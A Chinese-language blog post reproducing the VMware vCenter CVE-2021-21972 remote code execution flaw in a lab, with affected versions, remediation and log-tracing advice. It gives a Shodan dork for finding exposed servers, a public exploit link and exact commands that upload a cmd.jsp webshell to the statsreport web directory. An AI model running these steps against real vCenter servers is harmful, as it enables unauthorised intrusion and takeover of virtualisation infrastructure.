CVE-2021-21972 VMware vCenter RCE 远程代码执行漏洞复现
漏洞简述
VMware是一家云基础架构和移动商务解决方案厂商,提供基于VMware的虚拟化解决方案。vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。
在 CVE-2021-21972 VMware vCenter Server 远程代码漏洞 中,攻击者可直接通过443端口构造恶意请求,从而在服务器上写入 webshell
,最终造成远程任意代码执行。
漏洞影响版本
- VMware vCenter Server 7.0系列 < 7.0.U1c
- VMware vCenter Server 6.7系列 < 6.7.U3l
- VMware vCenter Server 6.5系列 < 6.5 U3n
Shodan 搜索语法
http.title:"+ ID_VC_Welcome +"

漏洞exp
https://github.com/horizon3ai/CVE-2021-21972
漏洞环境搭建
腾讯云 Microsoft Windows Server 2016 Datacenter
下载安装 VMware-VIM-all-6.7.0-13643870.iso
链接: https://pan.baidu.com/s/1gV8r_vwVIzd_RZ939wqEuA?pwd=hdor 提取码: hdor
具体安装过程可参考网上搭建文章,安装完成后浏览器打开本机ip。



漏洞复现
使用上面提供的exp。
python CVE-2021-21972.py -t 10.0.12.12

也可以用该脚本配合shodan进行批量检测。

# 这样无法上传成功 python CVE-2021-21972.py -t 10.0.12.12 -o win -f cmdjsp.jsp -p cmd.jsp

默认网站根目录路径为:C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps
文件上传是可以成功的,但根目录无法访问。

需要上传到 C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport 目录下。
python CVE-2021-21972.py -t 10.0.12.12 -o win -f cmdjsp.jsp -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmd.jsp

命令执行成功。
入侵溯源
https://kb.vmware.com/s/article/2110014?lang=zh_CN
VMware vCenter Server 6.0 日志位于 %ALLUSERSPROFILE%\VMWare\vCenterServer\logs 文件夹中。VMware vCenter Server Appliance 6.0 日志位于 /var/log/vmware/ 文件夹中
vmware vcenter 日志路径:C:\ProgramData\VMware\vCenterServer\logs

同时排查网站目录下是否存在webshell,以及文件写入时间。
修复方式
- vCenter Server7.0版本升级到7.0.U1c
- vCenter Server6.7版本升级到6.7.U3l
- vCenter Server6.5版本升级到6.5 U3n
微信赞赏
支付宝赞赏
发表评论